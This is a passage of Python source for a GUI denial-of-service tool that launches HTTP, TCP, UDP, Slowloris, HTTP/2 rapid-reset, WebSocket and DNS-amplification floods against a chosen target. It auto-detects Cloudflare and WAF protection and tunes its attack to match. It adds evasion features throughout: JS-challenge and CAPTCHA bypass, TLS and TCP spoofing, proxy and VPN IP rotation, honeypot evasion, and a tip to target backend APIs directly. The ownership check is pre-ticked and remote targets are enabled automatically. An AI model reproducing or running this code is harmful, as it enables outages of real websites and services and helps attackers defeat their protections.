| label.config(text="0") | |
| self.log(f"🔥 STARTING ATTACK ON: {target}", "ATTACK") | |
| self.log(f"🧵 Threads: {self.threads.get()} | Duration: {self.duration.get()}s", "INFO") | |
| mode = self.mode_var.get() | |
| self.attack_thread = threading.Thread(target=self._attack_loop, args=(mode,), daemon=True) | |
| self.attack_thread.start() | |
| def _attack_loop(self, mode): | |
| target = self.target.get() | |
| threads = self.threads.get() | |
| duration = self.duration.get() | |
| integrated_modes = {"Integrated", "TCP SYN", "Minecraft", "VSE", "UDP Random", "Rotating Targets", "Port Scan"} | |
| new_attack_modes = {"WebSocket Flood", "H2 Rapid Reset", "Async Slowloris"} | |
| if mode in new_attack_modes: | |
| # New standalone attack vectors | |
| self.log(f"Starting {mode} attack...", "INFO") | |
| parsed = urllib.parse.urlparse(target) | |
| host = parsed.hostname or target | |
| port = parsed.port or (443 if parsed.scheme == 'https' else 80) | |
| loop = asyncio.new_event_loop() | |
| asyncio.set_event_loop(loop) | |
| try: | |
| if mode == "WebSocket Flood": | |
| loop.run_until_complete(websocket_flood(target, connections=threads, duration=duration)) | |
| elif mode == "H2 Rapid Reset": | |
| loop.run_until_complete(h2_rapid_reset_attack(target, streams_per_connection=100, connections=threads, duration=duration)) | |
| elif mode == "Async Slowloris": | |
| loop.run_until_complete(async_slowloris_attack(host, port=port, connections=threads, duration=duration)) | |
| except Exception as e: | |
| self.root.after(0, self.log, f"❌ Attack error: {str(e)}", "ERROR") | |
| finally: | |
| self.root.after(0, self._attack_finished) | |
| elif mode in integrated_modes: | |
| selected_vpn_mode = self.vpn_mode.get() | |
| attack_mode = { | |
| "TCP SYN": "tcp_syn", | |
| "Minecraft": "mine", | |
| "VSE": "vse", | |
| "UDP Random": "udp_random", | |
| "Rotating Targets": "integrated", | |
| "Port Scan": "integrated", | |
| }.get(mode, "integrated") | |
| self.engine = UltimateIntegratedEngine( | |
| target=target, threads=threads, duration=duration, | |
| use_identities=self.use_identities.get(), | |
| use_human_timing=self.use_human_timing.get(), | |
| use_cffi=self.use_cffi.get(), | |
| use_js_bypass=self.use_js_bypass.get(), | |
| use_tcp_spoof=self.use_tcp_spoof.get(), | |
| use_ai_payload=self.use_ai_payload.get(), | |
| use_captcha=self.use_captcha.get(), | |
| keepalive=self.use_keepalive.get(), | |
| use_http2=self.use_http2.get(), | |
| random_query=self.use_random_query.get(), | |
| request_rate=self.request_rate.get(), | |
| total_requests=self.requests.get(), | |
| http_method=self.method.get(), | |
| vpn_mode=selected_vpn_mode, | |
| geo=self.geo.get(), | |
| max_load=self.max_load.get(), | |
| attack_mode=attack_mode, | |
| proxy_file=self.proxy_file.get().strip() if self.proxy_file.get().strip() else None | |
| ) | |
| self.engine.set_log_callback(self.log) | |
| self.system_status['Identity Pool'].config(text="🔄 Active", foreground='#00ff41') | |
| self.system_status['Human Timer'].config(text="🔄 Active", foreground='#00ff41') | |
| self.system_status['TLS Spoof'].config(text="🔄 Active" if self.use_cffi.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_cffi.get() else '#ffaa00') | |
| self.system_status['JS Bypass'].config(text="🔄 Active" if self.use_js_bypass.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_js_bypass.get() else '#ffaa00') | |
| self.system_status['TCP Spoof'].config(text="🔄 Active" if self.use_tcp_spoof.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_tcp_spoof.get() else '#ffaa00') | |
| self.system_status['AI Payload'].config(text="🔄 Active" if self.use_ai_payload.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_ai_payload.get() else '#ffaa00') | |
| self.system_status['VPN Rotator'].config(text="🔄 Active" if self.vpn_mode.get() != "System Default" else "⏸️ Disabled", foreground='#00ff41' if self.vpn_mode.get() != "System Default" else '#ffaa00') | |
| loop = asyncio.new_event_loop() | |
| asyncio.set_event_loop(loop) | |
| try: | |
| loop.run_until_complete(self.engine.start_attack()) | |
| except Exception as e: | |
| self.root.after(0, self.log, f"❌ Attack error: {str(e)}", "ERROR") | |
| finally: | |
| self.root.after(0, self._attack_finished) | |
| else: | |
| # أوضاع الهجمات الكلاسيكية | |
| self.log(f"Starting {mode} attack...", "INFO") | |
| if mode == "HTTP Flood": | |
| identity_pool = None | |
| if self.use_identities.get(): | |
| proxy_path = self.proxy_var.get() if hasattr(self, 'proxy_var') else self.proxy_file.get() | |
| proxies = load_proxy_list(proxy_path) if proxy_path else [] | |
| identity_pool = IdentityPool(geo=self.geo.get(), proxies=proxies, target_url=target) | |
| http_flood( | |
| url=target, total_requests=100000, workers=threads, | |
| method="GET", payload="", rate=self.request_rate.get(), duration=duration if duration > 0 else None, | |
| extra_headers=True, use_playwright=self.use_js_bypass.get(), | |
| keepalive=self.use_keepalive.get(), random_query=self.use_random_query.get(), app_mode=False, | |
| logger=logging.getLogger(), identity_pool=identity_pool, | |
| human_timing=self.use_human_timing.get(), | |
| use_cffi=self.use_cffi.get(), | |
| tcp_spoof=self.use_tcp_spoof.get(), | |
| ai_payload=self.use_ai_payload.get() | |
| ) | |
| elif mode == "TCP Flood": | |
| tcp_connection_flood(target.split("//")[1].split(":")[0] if "//" in target else target, | |
| int(target.split(":")[2]) if ":" in target else 80, | |
| total_connections=10000, workers=threads, | |
| send_payload=False, rate=self.request_rate.get(), duration=duration if duration > 0 else None, | |
| logger=logging.getLogger()) | |
| elif mode == "UDP Flood": | |
| udp_flood(target.split("//")[1].split(":")[0] if "//" in target else target, | |
| int(target.split(":")[2]) if ":" in target else 80, | |
| total_packets=100000, packet_size=1400, | |
| rate=self.request_rate.get(), duration=duration if duration > 0 else None, | |
| logger=logging.getLogger()) | |
| elif mode == "Slowloris": | |
| slowloris_attack(target.split("//")[1].split(":")[0] if "//" in target else target, | |
| int(target.split(":")[2]) if ":" in target else 80, | |
| total_connections=1000, rate=self.request_rate.get(), duration=duration if duration > 0 else None, | |
| logger=logging.getLogger()) | |
| elif mode == "XML-RPC": | |
| xmlrpc_request(target, "http://127.0.0.1/source", extra_headers=True) | |
| elif mode == "Slow HTTP": | |
| slow_http_post_request(target, "message=payload", chunk_size=1, chunk_delay=10.0, extra_headers=True) | |
| self.root.after(0, self._attack_finished) | |
| def _attack_finished(self): | |
| self.attack_running = False | |
| self.attack_thread = None | |
| self.start_btn.config(state=tk.NORMAL, text="⚡ START ATTACK") | |
| self.stop_btn.config(state=tk.DISABLED) | |
| if self.engine and self.engine.stop_requested: | |
| self.status_bar.config(text="🛑 ATTACK STOPPED") | |
| self.log("🛑 Attack stopped by user.", "WARNING") | |
| else: | |
| self.status_bar.config(text="✅ ATTACK COMPLETED") | |
| self.log("✅ Attack finished!", "SUCCESS") | |
| if self.engine: | |
| stats = self.engine.get_stats() | |
| self._update_stats_ui(stats) | |
| self.engine = None | |
| def toggle_bypass(self): | |
| current = self.use_js_bypass.get() | |
| self.use_js_bypass.set(not current) | |
| self.bypass_btn.config(text='JS Bypass ON' if not current else 'JS Bypass OFF') | |
| self.log(f"[Bypass] {'Enabled' if not current else 'Disabled'} ?api= injection", "INFO") | |
| def stop_attack(self): | |
| if not self.attack_running: | |
| return | |
| if self.engine and self.engine.stop_requested: | |
| return | |
| if self.engine: | |
| self.engine.stop() | |
| self.start_btn.config(state=tk.DISABLED) | |
| self.stop_btn.config(state=tk.DISABLED) | |
| self.log("🛑 Stopping attack...", "WARNING") | |
| self.status_bar.config(text="🛑 STOPPING...") | |
| def _update_stats_loop(self): | |
| if self.engine and self.attack_running: | |
| stats = self.engine.get_stats() | |
| self._update_stats_ui(stats) | |
| self.root.after(1000, self._update_stats_loop) | |
| def _update_stats_ui(self, stats: Dict): | |
| mapping = { | |
| 'Total': 'total', 'Status 200': 'status_200', 'Status 400': 'status_400', | |
| 'Status 403': 'status_403', 'Status 429': 'status_429', 'Status 500': 'status_500', | |
| 'Status 502': 'status_502', 'Status 503': 'status_503', 'Status 504': 'status_504', | |
| 'Errors': 'errors', 'Timeouts': 'timeouts' | |
| } | |
| for label, key in mapping.items(): | |
| value = stats.get(key, 0) | |
| self.stats_labels[label].config(text=str(value)) | |
| # تحديث لوحة الـ Analytics | |
| if 'analytics' in stats: | |
| analytics = stats['analytics'] | |
| lat = analytics.get('latency', {}).get('avg', 0) | |
| self.analytics_labels['Latency (ms)'].config(text=f"{lat:.1f}") | |
| self.analytics_labels['Peak RPS'].config(text=f"{analytics.get('rps', {}).get('peak', 0):.0f}") | |
| dmg = analytics.get('damage', 0) | |
| self.analytics_labels['Damage Score'].config(text=f"{dmg:.1f}%") | |
| self.analytics_labels['Server Health'].config(text=analytics.get('health', 'UNKNOWN')) | |
| total = stats.get('total', 0) | |
| blocked = stats.get('status_403', 0) + stats.get('status_429', 0) + stats.get('status_503', 0) | |
| if total > 0: | |
| block_rate = (blocked / total) * 100 | |
| if block_rate > 70: | |
| self.shield_label.config(text=f"🔴 HEAVY BLOCKING! ({block_rate:.0f}%) - Evasion systems activated", foreground='#ff0044') | |
| elif block_rate > 30: | |
| self.shield_label.config(text=f"🟡 Partial blocking ({block_rate:.0f}%) - Adaptive delay active", foreground='#ffaa00') | |
| else: | |
| self.shield_label.config(text=f"🟢 ATTACK SUCCESSFUL! ({block_rate:.0f}% blocked) - Stealth mode optimal", foreground='#00ff41') | |
| if self.duration.get() > 0: | |
| rps = total / (self.duration.get() or 1) | |
| self.status_bar.config(text=f"⚡ RPS: {rps:.0f} | Total: {total} | Blocked: {blocked} ({block_rate:.0f}%)") | |
| def run(self): | |
| try: | |
| self.root.deiconify() | |
| self.root.lift() | |
| self.root.attributes('-topmost', True) | |
| self.root.after(1000, lambda: self.root.attributes('-topmost', False)) | |
| except Exception: | |
| pass | |
| self.root.mainloop() | |
| class PowerAttackGUI: | |
| def __init__(self, root): | |
| self.root = root | |
| self.root.title("Crazy Speed") | |
| self.root.geometry("600x750") | |
| # Main Frame | |
| main_frame = ttk.Frame(self.root, padding="10") | |
| main_frame.pack(fill=tk.BOTH, expand=True) | |
| # --- Mode Selection --- | |
| ttk.Label(main_frame, text="Mode:").grid(row=0, column=0, sticky=tk.W, pady=5) | |
| self.mode_var = tk.StringVar(value="async-http") | |
| modes = ["async-http", "http", "http-app", "tcp", "slow-http", "slowloris", "async-slowloris", "websocket-flood", "h2-rapid-reset", "xmlrpc", "udp-frag", "udp-flood", "dns-amplification", "tcp-rst", "port-scan", "rotating-targets"] | |
| self.mode_combo = ttk.Combobox(main_frame, textvariable=self.mode_var, values=modes, state="readonly") | |
| self.mode_combo.grid(row=0, column=1, sticky=tk.EW, pady=5) | |
| # --- Target / Host --- | |
| ttk.Label(main_frame, text="Target/Host:").grid(row=1, column=0, sticky=tk.W, pady=5) | |
| target_frame = ttk.Frame(main_frame) | |
| target_frame.grid(row=1, column=1, sticky=tk.EW, pady=5) | |
| target_frame.columnconfigure(0, weight=1) | |
| self.target_var = tk.StringVar(value="http://127.0.0.1:8000") | |
| ttk.Entry(target_frame, textvariable=self.target_var).grid(row=0, column=0, sticky=tk.EW) | |
| ttk.Button(target_frame, text="🔍 Check Target", command=self.check_target).grid(row=0, column=1, padx=(5, 0)) | |
| # --- Port --- | |
| ttk.Label(main_frame, text="Port:").grid(row=2, column=0, sticky=tk.W, pady=5) | |
| self.port_var = tk.StringVar(value="8000") | |
| ttk.Entry(main_frame, textvariable=self.port_var).grid(row=2, column=1, sticky=tk.EW, pady=5) | |
| # --- Method --- | |
| ttk.Label(main_frame, text="Method (HTTP):").grid(row=3, column=0, sticky=tk.W, pady=5) | |
| self.method_var = tk.StringVar(value="GET") | |
| methods = ["GET", "POST"] | |
| self.method_combo = ttk.Combobox(main_frame, textvariable=self.method_var, values=methods, state="readonly") | |
| self.method_combo.grid(row=3, column=1, sticky=tk.EW, pady=5) | |
| # --- Workers (Threads) --- | |
| ttk.Label(main_frame, text="Workers (Threads):").grid(row=4, column=0, sticky=tk.W, pady=5) | |
| self.workers_var = tk.StringVar(value="500") | |
| ttk.Entry(main_frame, textvariable=self.workers_var).grid(row=4, column=1, sticky=tk.EW, pady=5) | |
| # --- Requests / Connections --- | |
| ttk.Label(main_frame, text="Requests/Connections:").grid(row=5, column=0, sticky=tk.W, pady=5) | |
| self.requests_var = tk.StringVar(value="500000") | |
| ttk.Entry(main_frame, textvariable=self.requests_var).grid(row=5, column=1, sticky=tk.EW, pady=5) | |
| # --- Payload / Attack Rate --- | |
| ttk.Label(main_frame, text="POST Payload:").grid(row=6, column=0, sticky=tk.W, pady=5) | |
| self.payload_var = tk.StringVar(value="message=payload") | |
| ttk.Entry(main_frame, textvariable=self.payload_var).grid(row=6, column=1, sticky=tk.EW, pady=5) | |
| ttk.Label(main_frame, text="Rate (req/sec):").grid(row=7, column=0, sticky=tk.W, pady=5) | |
| self.rate_var = tk.StringVar(value="0") | |
| ttk.Entry(main_frame, textvariable=self.rate_var).grid(row=7, column=1, sticky=tk.EW, pady=5) | |
| ttk.Label(main_frame, text="Duration (sec):").grid(row=8, column=0, sticky=tk.W, pady=5) | |
| self.duration_var = tk.StringVar(value="0") | |
| ttk.Entry(main_frame, textvariable=self.duration_var).grid(row=8, column=1, sticky=tk.EW, pady=5) | |
| # --- Proxy Selection --- | |
| ttk.Label(main_frame, text="Proxy Mode:").grid(row=9, column=0, sticky=tk.W, pady=5) | |
| self.proxy_mode_var = tk.StringVar(value="System Default") | |
| proxy_modes = [ | |
| "System Default", | |
| "Cloudflare WARP", | |
| "Tuxler (Residential)", | |
| "Tuxler (Data Center)", | |
| "Custom Proxy File (.txt)" | |
| ] | |
| self.proxy_mode_combo = ttk.Combobox(main_frame, textvariable=self.proxy_mode_var, values=proxy_modes, state="readonly") | |
| self.proxy_mode_combo.grid(row=9, column=1, sticky=tk.EW, pady=5) | |
| self.proxy_mode_combo.bind("<<ComboboxSelected>>", self.toggle_proxy_file_entry) | |
| self.proxy_file_label = ttk.Label(main_frame, text="Proxy File (.txt):") | |
| self.proxy_file_label.grid(row=10, column=0, sticky=tk.W, pady=5) | |
| self.proxy_file_label.grid_remove() # Hidden by default | |
| self.proxy_frame = ttk.Frame(main_frame) | |
| self.proxy_frame.grid(row=10, column=1, sticky=tk.EW, pady=5) | |
| self.proxy_frame.grid_remove() # Hidden by default | |
| self.proxy_var = tk.StringVar(value="") | |
| ttk.Entry(self.proxy_frame, textvariable=self.proxy_var).pack(side=tk.LEFT, fill=tk.X, expand=True) | |
| ttk.Button(self.proxy_frame, text="Browse", command=self.browse_proxy).pack(side=tk.RIGHT, padx=(5, 0)) | |
| # --- Anti-Detection Checkboxes --- | |
| ttk.Label(main_frame, text="Advanced Anti-Detection:").grid(row=8, column=0, sticky=tk.W, pady=(10,0)) | |
| self.use_identities_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Identity Pools (--use-identities)", variable=self.use_identities_var).grid(row=8, column=0, sticky=tk.W, pady=2) | |
| self.use_cffi_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="TLS Spoofing (--use-cffi)", variable=self.use_cffi_var).grid(row=8, column=1, sticky=tk.W, pady=2) | |
| self.js_bypass_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Playwright JS Bypass (--js-bypass)", variable=self.js_bypass_var).grid(row=9, column=0, sticky=tk.W, pady=2) | |
| self.human_timing_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Human Timing (--human-timing)", variable=self.human_timing_var).grid(row=9, column=1, sticky=tk.W, pady=2) | |
| self.no_honeypots_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Honeypot Evasion (--no-honeypots)", variable=self.no_honeypots_var).grid(row=11, column=0, sticky=tk.W, pady=2) | |
| self.tcp_spoof_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="TCP/IP OS Spoofing (--tcp-spoof) [Admin Only]", variable=self.tcp_spoof_var).grid(row=11, column=1, sticky=tk.W, pady=2) | |
| self.extra_headers_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Extra HTTP Headers (--extra-headers)", variable=self.extra_headers_var).grid(row=12, column=0, sticky=tk.W, pady=2) | |
| self.keepalive_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Keep-Alive (--keepalive)", variable=self.keepalive_var).grid(row=12, column=1, sticky=tk.W, pady=2) | |
| self.random_query_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Random Query Params (--random-query)", variable=self.random_query_var).grid(row=13, column=0, sticky=tk.W, pady=2) | |
| self.geo_var = tk.StringVar(value="default") | |
| ttk.Label(main_frame, text="Geo Target:").grid(row=13, column=1, sticky=tk.W, pady=5) | |
| self.geo_combo = ttk.Combobox(main_frame, textvariable=self.geo_var, values=list(GEO_PROFILES.keys()), state="readonly") | |
| self.geo_combo.grid(row=14, column=1, sticky=tk.EW, pady=5) | |
| self.captcha_key_var = tk.StringVar(value="") | |
| ttk.Label(main_frame, text="Captcha Key:").grid(row=14, column=0, sticky=tk.W, pady=5) | |
| ttk.Entry(main_frame, textvariable=self.captcha_key_var).grid(row=15, column=0, columnspan=2, sticky=tk.EW, pady=5) | |
| self.ai_payload_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="AI Payload Generation (--ai-payload)", variable=self.ai_payload_var).grid(row=16, column=0, sticky=tk.W, pady=2) | |
| self.ai_decision_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="AI Attack Selector", variable=self.ai_decision_var).grid(row=11, column=2, sticky=tk.W, pady=2) | |
| self.ip_rotation_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="🔄 Auto IP Rotation (every 5 min)", variable=self.ip_rotation_var).grid(row=11, column=1, sticky=tk.W, pady=2) | |
| # --- Base Options --- | |
| ttk.Label(main_frame, text="Base Options:").grid(row=12, column=0, sticky=tk.W, pady=(10,0)) | |
| self.confirm_var = tk.BooleanVar(value=True) | |
| ttk.Checkbutton(main_frame, text="Confirm Ownership (--confirm)", variable=self.confirm_var).grid(row=12, column=0, sticky=tk.W, pady=2) | |
| self.allow_remote_var = tk.BooleanVar(value=False) | |
| ttk.Checkbutton(main_frame, text="Allow Remote (--allow-remote)", variable=self.allow_remote_var).grid(row=12, column=1, sticky=tk.W, pady=2) | |
| self.start_local_server_var = tk.BooleanVar(value=False) | |
| ttk.Checkbutton(main_frame, text="Start Local Server (--start-local-server)", variable=self.start_local_server_var).grid(row=13, column=0, sticky=tk.W, pady=2) | |
| # --- Run Button --- | |
| self.run_button = ttk.Button(main_frame, text="Start Attack", command=self.start_attack) | |
| self.run_button.grid(row=14, column=0, columnspan=2, pady=15) | |
| button_frame = ttk.Frame(main_frame) | |
| button_frame.grid(row=15, column=0, columnspan=2, pady=5) | |
| self.stop_button = ttk.Button(button_frame, text="Stop Attack", command=self.stop_attack, state=tk.DISABLED) | |
| self.stop_button.pack(side=tk.LEFT, padx=5) | |
| # Dependency installation is now completely handled by UltimateIntegratedGUI. | |
| # --- Console Output --- | |
| ttk.Label(main_frame, text="Output:").grid(row=16, column=0, sticky=tk.W, pady=5) | |
| self.console = tk.Text(main_frame, height=15, width=60, state=tk.DISABLED, bg="black", fg="lightgreen") | |
| self.console.grid(row=17, column=0, columnspan=2, sticky=tk.NSEW) | |
| # --- Status Indicator --- | |
| status_frame = ttk.Frame(main_frame) | |
| status_frame.grid(row=18, column=0, columnspan=2, pady=5) | |
| self.status_label = tk.Label(status_frame, text="🔴 Stopped", fg="red", font=("Arial", 12, "bold")) | |
| self.status_label.pack(side=tk.LEFT, padx=20) | |
| # --- Protection Shield (Live WAF Detection) --- | |
| self.shield_label = tk.Label(status_frame, text="🛡️ Protection: Waiting...", fg="gray", font=("Arial", 11, "bold")) | |
| self.shield_label.pack(side=tk.LEFT, padx=20) | |
| main_frame.columnconfigure(1, weight=1) | |
| main_frame.rowconfigure(17, weight=1) | |
| self.process = None | |
| self.vpn_rotator = None | |
| self.ai_restart_pending = False | |
| self.manual_stop = False | |
| self.ai_decider = AIDecisionEngine(self) | |
| # Dependency installation is handled by UltimateIntegratedGUI. | |
| def toggle_proxy_file_entry(self, event=None): | |
| mode = self.proxy_mode_var.get() | |
| if mode == "Custom Proxy File (.txt)": | |
| self.proxy_file_label.grid() | |
| self.proxy_frame.grid() | |
| else: | |
| self.proxy_file_label.grid_remove() | |
| self.proxy_frame.grid_remove() | |
| def browse_proxy(self): | |
| filename = filedialog.askopenfilename( | |
| title="Select Proxy List", | |
| filetypes=(("Text files", "*.txt"), ("All files", "*.*")) | |
| ) | |
| if filename: | |
| self.proxy_var.set(filename) | |
| def log(self, message): | |
| # Parse shield status from engine output | |
| if "[SHIELD:RED]" in message: | |
| self.shield_label.config(text="🔴 BLOCKED! Change IP/Proxy!", foreground="red") | |
| elif "[SHIELD:YELLOW]" in message: | |
| self.shield_label.config(text="🟡 Partial Detection", foreground="#DAA520") | |
| elif "[SHIELD:GREEN]" in message: | |
| self.shield_label.config(text="🟢 Undetected (Stealth OK)", foreground="green") | |
| self.console.config(state=tk.NORMAL) | |
| self.console.insert(tk.END, message + "\n") | |
| self.console.see(tk.END) | |
| self.console.config(state=tk.DISABLED) | |
| def check_target(self): | |
| target = self.target_var.get().strip() | |
| if not target.startswith("http"): | |
| messagebox.showerror("Error", "Target must start with http:// or https://") | |
| return | |
| self.log(f"[*] Analyzing target: {target}...") | |
| self.root.update() | |
| def run_analysis(): | |
| import urllib.request | |
| import urllib.error | |
| import urllib.parse | |
| import ssl | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| try: | |
| req = urllib.request.Request(target, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}) | |
| with urllib.request.urlopen(req, context=ctx, timeout=10) as response: | |
| html = response.read().decode('utf-8', errors='ignore').lower() | |
| headers = {k.lower(): v.lower() for k, v in response.headers.items()} | |
| status = response.status | |
| except urllib.error.HTTPError as e: | |
| html = e.read().decode('utf-8', errors='ignore').lower() | |
| headers = {k.lower(): v.lower() for k, v in e.headers.items()} | |
| status = e.code | |
| except Exception as e: | |
| self.root.after(0, self.log, f"[!] Analysis failed: {str(e)}") | |
| return | |
| self.root.after(0, self.log, f"[+] Status Code: {status}") | |
| # Auto-Extract Port | |
| parsed_url = urllib.parse.urlparse(target) | |
| port = parsed_url.port | |
| if not port: | |
| port = 443 if parsed_url.scheme == 'https' else 80 | |
| self.root.after(0, self.port_var.set, str(port)) | |
| # Smart Selection Logic | |
| cf_detected = 'cloudflare' in headers.get('server', '') or 'cf-ray' in headers | |
| js_challenge = status in [403, 503] and ('just a moment' in html or 'cloudflare' in html or 'ddos-guard' in html) | |
| captcha = 'g-recaptcha' in html or 'h-captcha' in html | |
| if cf_detected or js_challenge: | |
| self.root.after(0, self.log, "[!] Cloudflare/WAF detected. Enabling JS Bypass & Human Timing.") | |
| self.root.after(0, self.js_bypass_var.set, True) | |
| self.root.after(0, self.human_timing_var.set, True) | |
| self.root.after(0, self.use_cffi_var.set, True) | |
| # Lower workers for stealth against WAFs | |
| self.root.after(0, self.workers_var.set, "50") | |
| self.root.after(0, self.requests_var.set, "10000") | |
| else: | |
| # Target seems unprotected, crank up the load | |
| self.root.after(0, self.workers_var.set, "200") | |
| self.root.after(0, self.requests_var.set, "100000") | |
| if captcha: | |
| self.root.after(0, self.log, "[!] CAPTCHA detected. (Make sure you have --captcha-key set if automating).") | |
| self.root.after(0, self.js_bypass_var.set, True) # Playwright is needed for captcha | |
| if 'form' in html or 'input' in html: | |
| self.root.after(0, self.log, "[+] Input forms detected. Enabling AI Payload Generation.") | |
| self.root.after(0, self.ai_payload_var.set, True) | |
| self.root.after(0, self.method_var.set, "POST") | |
| if status == 200 and not cf_detected: | |
| self.root.after(0, self.log, "[+] Target looks unprotected. Standard HTTP flood recommended.") | |
| self.root.after(0, self.mode_var.set, "http") | |
| # --- Network Target Extraction (Alternative Targets) --- | |
| import re | |
| # Find paths like /api/..., /wp-json/..., /admin/..., /ajax/..., or any .php endpoint | |
| api_paths = re.findall(r'["\'](/[\w-]+/[^"\']*|/[^"\']*\.php[^"\']*)["\']', html) | |
| # Filter out common junk paths (css, js, images) | |
| api_paths = [p for p in api_paths if not p.endswith(('.css', '.js', '.png', '.jpg', '.jpeg', '.svg', '.gif', '.ico'))] | |
| subdomains = [] | |
| if parsed_url.hostname: | |
| # Extract base domain (e.g., example.com) | |
| parts = parsed_url.hostname.split('.') | |
| base_domain = ".".join(parts[-2:]) if len(parts) >= 2 else parsed_url.hostname | |
| pattern = r'https?://([a-zA-Z0-9.-]+\.' + re.escape(base_domain) + r')' | |
| subdomains = re.findall(pattern, html) | |
| alt_targets = set(api_paths + subdomains) | |
| if alt_targets: | |
| self.root.after(0, self.log, "\n[🕸️] Network Console Analysis:") | |
| self.root.after(0, self.log, f"Found {len(alt_targets)} potential backend/API targets:") | |
| for alt in list(alt_targets)[:5]: # Show top 5 | |
| if alt.startswith('/'): | |
| alt = f"{parsed_url.scheme}://{parsed_url.netloc}{alt}" | |
| elif not alt.startswith('http'): | |
| alt = f"https://{alt}" | |
| self.root.after(0, self.log, f" -> {alt}") | |
| self.root.after(0, self.log, "Tip: You can target these APIs directly if the frontend is protected!\n") | |
| # Always enable identity pools for stealth | |
| self.root.after(0, self.use_identities_var.set, True) | |
| self.root.after(0, self.allow_remote_var.set, True) | |
| self.root.after(0, self.log, f"[+] Auto-configuration complete (Port: {port}). Ready to start.") | |
| threading.Thread(target=run_analysis, daemon=True).start() | |
| def start_attack(self): | |
| if not self.confirm_var.get(): | |
| messagebox.showerror("Error", "You must confirm ownership to run the attack.") | |
| return | |
| script_path = os.path.abspath(__file__) | |
| if self.ai_decision_var.get(): | |
| self.ai_decider.choose_initial_plan() | |
| self.manual_stop = False | |
| self.ai_restart_pending = False | |
| cmd = [ | |
| sys.executable, script_path, | |
| "--mode", self.mode_var.get(), | |
| "--port", self.port_var.get(), | |
| "--workers", self.workers_var.get(), | |
| "--method", self.method_var.get() | |
| ] | |
| if self.mode_var.get() in ["http", "http-app", "async-http", "xmlrpc", "slow-http"]: | |
| cmd.extend(["--target", self.target_var.get()]) | |
| cmd.extend(["--requests", self.requests_var.get()]) | |
| else: | |
| cmd.extend(["--host", self.target_var.get()]) | |
| cmd.extend(["--connections", self.requests_var.get()]) | |
| if self.ai_decision_var.get(): | |
| self.ai_decider.choose_initial_plan() | |
| if self.confirm_var.get(): | |
| cmd.append("--confirm") | |
| if self.allow_remote_var.get(): | |
| cmd.append("--allow-remote") | |
| if self.start_local_server_var.get(): | |
| cmd.append("--start-local-server") | |
| if self.use_identities_var.get(): | |
| cmd.append("--use-identities") | |
| if self.use_cffi_var.get(): | |
| cmd.append("--use-cffi") | |
| if self.js_bypass_var.get(): | |
| cmd.append("--js-bypass") | |
| if self.human_timing_var.get(): | |
| cmd.append("--human-timing") | |
| if self.no_honeypots_var.get(): | |
| cmd.append("--no-honeypots") | |
| if self.extra_headers_var.get(): | |
| cmd.append("--extra-headers") | |
| if self.keepalive_var.get(): | |
| cmd.append("--keepalive") | |
| if self.random_query_var.get(): | |
| cmd.append("--random-query") | |
| if self.geo_var.get() and self.geo_var.get() != "default": | |
| cmd.extend(["--geo", self.geo_var.get()]) | |
| if self.captcha_key_var.get().strip(): | |
| cmd.extend(["--captcha-key", self.captcha_key_var.get().strip()]) | |
| if self.payload_var.get().strip(): | |
| cmd.extend(["--payload", self.payload_var.get().strip()]) | |
| if self.rate_var.get().strip() and self.rate_var.get().strip() != "0": | |
| cmd.extend(["--rate", self.rate_var.get().strip()]) | |
| if self.duration_var.get().strip() and self.duration_var.get().strip() != "0": | |
| cmd.extend(["--duration", self.duration_var.get().strip()]) | |
| if getattr(self, "tcp_spoof_var", tk.BooleanVar(value=False)).get(): | |
| cmd.append("--tcp-spoof") | |
| if getattr(self, "ai_payload_var", tk.BooleanVar(value=False)).get(): | |
| cmd.append("--ai-payload") | |
| mode = self.proxy_mode_var.get() | |
| if mode == "Custom Proxy File (.txt)": | |
| proxy_file = self.proxy_var.get().strip() | |
| if proxy_file and os.path.exists(proxy_file): | |
| cmd.extend(["--proxies", proxy_file]) | |
| elif mode in ["Cloudflare WARP", "Tuxler (Residential)", "Tuxler (Data Center)"]: | |
| is_data_center = "Data Center" in mode | |
| app_name = "Cloudflare WARP" if "Cloudflare" in mode else "Tuxler VPN" | |
| vpn_status = self.detect_vpn_installation() | |
| if app_name == "Cloudflare WARP" and not vpn_status["Cloudflare WARP"]: | |
| self.log("[!] Cloudflare WARP not detected. Attempting automatic install...") | |
| installed = self._install_vpn_if_needed("Cloudflare WARP") | |
| if not installed: | |
| messagebox.showwarning("VPN Not Found", "Cloudflare WARP was not detected and could not be installed automatically.") | |
| return | |
| if app_name == "Tuxler VPN" and not vpn_status["Tuxler VPN"]: | |
| self.log("[!] Tuxler VPN not detected. Attempting automatic install...") | |
| installed = self._install_vpn_if_needed("Tuxler VPN") | |
| if not installed: | |
| messagebox.showwarning("VPN Not Found", "Tuxler VPN was not detected and could not be installed automatically.") | |
| return | |
| self.log(f"[*] Attempting to launch {app_name}...") | |
| # Kill other VPNs to prevent conflict | |
| try: | |
| if app_name != "Cloudflare WARP": | |
| subprocess.run(["taskkill", "/F", "/IM", "Cloudflare WARP.exe"], capture_output=True) | |
| subprocess.run(["taskkill", "/F", "/IM", "warp-svc.exe"], capture_output=True) | |
| if app_name != "Tuxler VPN": | |
| subprocess.run(["taskkill", "/F", "/IM", "TuxlerVPN.exe"], capture_output=True) | |
| except Exception: | |
| pass | |
| try: | |
| if app_name == "Cloudflare WARP": | |
